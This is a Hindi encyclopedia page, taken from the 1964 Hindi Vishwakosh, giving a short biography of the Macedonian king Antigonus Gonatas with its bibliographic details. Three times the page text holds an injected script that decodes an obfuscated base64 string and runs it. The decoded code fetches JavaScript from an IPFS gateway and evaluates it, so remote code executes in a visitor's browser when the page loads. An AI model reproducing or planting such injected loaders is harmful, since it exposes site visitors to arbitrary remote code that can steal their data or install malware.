आंतिगोनस गोनातस

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
आंतिगोनस गोनातस
पुस्तक नाम हिन्दी विश्वकोश खण्ड 1
पृष्ठ संख्या 327
भाषा हिन्दी देवनागरी
संपादक सुधाकर पाण्डेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1964 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक डॉ. बैजनाथ पुरी

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

आंतिगोनस गोनातस (ल.ई.पू. 319-239) आँतिगोनस कीक्लोप्स का पौत्र और दिमेत्रियस का पुत्र जिसका जीवनकाल संघर्षमय रहा। ई.पू. 283 में अपने पिता की मृत्यु पर उसने प्रजा का नेतृत्व किया और ई.पू. २७६ में पिरस गालवालों को हराकर अपना पैतृक राज्य प्राप्त किया। दो वर्ष बाद फाइरस ने इसे छीन लिया, पर उसकी मृत्यु के पश्चात्‌ आंतिगोनस को पुन: अपना राज्य मिल गया। पिरस के पुत्र सिकंदर के साथ इसका संघर्ष ई.पू. 263 से 255 तक चलता रहा और इसे कुछ समय के लिए अपने राज्य से हाथ धोना पड़ा, पर अंत में यह पुन: सफल हुआ। इसके जीवन के अंतिम दिन सुख और शांति से बीते। यह कलाप्रेमी होने के कारण विशेष प्रसिद्ध था।[१]





टीका टिप्पणी और संदर्भ

  1. सं.ग्रं.-केंब्रिज प्राचीन इतिहास, भाग 6; टार्न: आँतिगोनस गोनातस, केंब्रिज।